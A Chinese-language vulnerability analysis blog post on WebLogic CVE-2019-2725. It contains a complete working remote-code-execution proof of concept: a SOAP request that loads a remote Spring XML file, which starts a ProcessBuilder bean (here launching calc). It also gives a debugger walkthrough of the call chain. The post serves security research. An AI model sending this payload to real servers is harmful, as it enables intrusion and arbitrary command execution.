Weblogic-CVE-2019-2725分析通杀poc

利用的Gadget为FileSystemXmlApplicationContext,这个是Spring用于加载配置文件去完成上下文的实例化工作的类,以前写代码也用过,但是构造POC就是没能联系起来,积累还是不够,还有一个多月就要去长亭实习了,抓紧剩下的时间多分析些经典漏洞


利用条件

服务器可以发起请求(最好能访问外网)

因为漏洞利用类所在的jar包为weblogic自带的包,且10与12都存在,所以相对于前面几种利用方式来说还是较为完美的,可以通杀。

漏洞利用

构造方式参考CVE-2017-17485

通杀poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /_async/AsyncResponseService HTTP/1.1
Host: 127.0.0.1:7001
Content-Type: text/xml
Content-Length: 651

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string><void>
<string>http://127.0.0.1:8082/poc.xml</string>
</void></class>
</java>
</work:WorkContext>
</soapenv:Header> <soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>


poc.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>

2019-05-23.10.19.47-image.png

漏洞分析

CVE-2017-17485中,通过解析SPEL表达式执行start(),这里与jackson相比较少了一步解析表达式操作。且Spring3才开始支持SPEL表达式,而weblogic中自带的Spring的版本2.5.3
2019-05-23.20.59.43-image.png

所以这里无法用SPEL表达式触发漏洞,不过我们可以利用init-method达到效果。
我们的需求是在Bean初始化后调用start(),经过查阅资料发现
可以在Bean的postinitiation(初始化后)和predestruction(销毁前)执行操作的方法:

1
2
3
1.通过@PostConstruct 和 @PreDestroy 方法 实现初始化和销毁bean之前进行的操作
2.在xml中定义init-method 和 destory-method方法
3.通过bean实现InitializingBean和 DisposableBean接口

由于我们并不能控制利用类的实现及方法,所以第一种与第三种利用难度较大,我们使用init-method属性测试下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
TestInitMethod.java
public class TestInitMethod{
public void testInit(){
System.out.println("test init-method");
}
}

application.xml
<bean id="testInitMethod" class="TestInitMethod" init-method="testInit"></bean>

SpringTest.java
public class SpringTest {
public static void main(String[] args){
ClassPathXmlApplicationContext context1 = new ClassPathXmlApplicationContext("application.xml");
}
}

运行SpringTest.main():

2019-05-23.09.58.33-image.png

ApplicationContext(应用上下文)是常用的Spring核心容器,想要创建实例有两种方法:ClassPathXmlApplicationContextFileSystemXmlApplicationContext。这两个是Spring自带的,功能都是从指定路径读取Spring配置文件,并完成ApplicationContext的实例化工作。
我们在Jackjson中使用的是通过org.springframework.context.support.FileSystemXmlApplicationContext去加载恶意xml文件,在xml文件中通过SPEL表达式触发相关方法。而在weblogic的位置为
com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContextcom.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

2019-05-16.15.16.44-image.png

2019-05-16.15.17.37-image.png

2019-05-16.15.17.37-image.png
观察这两个类可以发现 其实现方法基本相同,都可利用。

2019-05-23.15.52.49-image.png

1
2
3
4
5
xmldecoder.readObject() 一个入口 反射创建实例并传入参数			
实例化FileSystemXmlApplicationContext

调用FileSystemXmlApplicationContext的构造方法,其参数为恶意xml文件地址
FileSystemXmlApplicationContext的构造方法加载恶意xml文件----->BeanDefinitionValueResolver会解析xml文件,加载bean 通过反射执行其传入的方法start()

xmldecoder.readObject()会实例化传入的类,详情看笔者分析文章XMLDecoder.readObject()解析流程分析

2019-05-23.20.04.07-image.png

我们直接在
FileSystemXmlApplicationContext的构造方法下个断点查看,传入参数configLocation:http://127.0.0.1:8082/poc.xml

2019-05-23.20.19.24-image.png

在Spring通过方法BeanDefinitionValueResolver#resolveValueIfNecessary进行解析,解析过程针对不同类型的Property,采用不同的解析方式。在BeanDefinitionValueResolver处打个断点,可看到FileSystemXmlApplicationContext之后的调用链

2019-05-16.16.10.11-image.png

2019-05-16.22.31.54-image.png

Object resolvedValue = valueResolver.resolveValueIfNecessary("constructor argument", valueHolder.getValue());
将参数全部添加

2019-05-16.22.34.58-image.png

反射执行代码:
2019-05-23.19.55.07-image.png

参考链接

http://www.lmxspace.com/2019/05/15/Weblogic-CVE-2019-2725-通杀payload/
http://balis0ng.com/post/lou-dong-fen-xi/weblogic-wls9-asynczu-jian-rcelou-dong-fen-xi
https://www.jianshu.com/p/b2d0f14c1867
https://paper.seebug.org/909/#430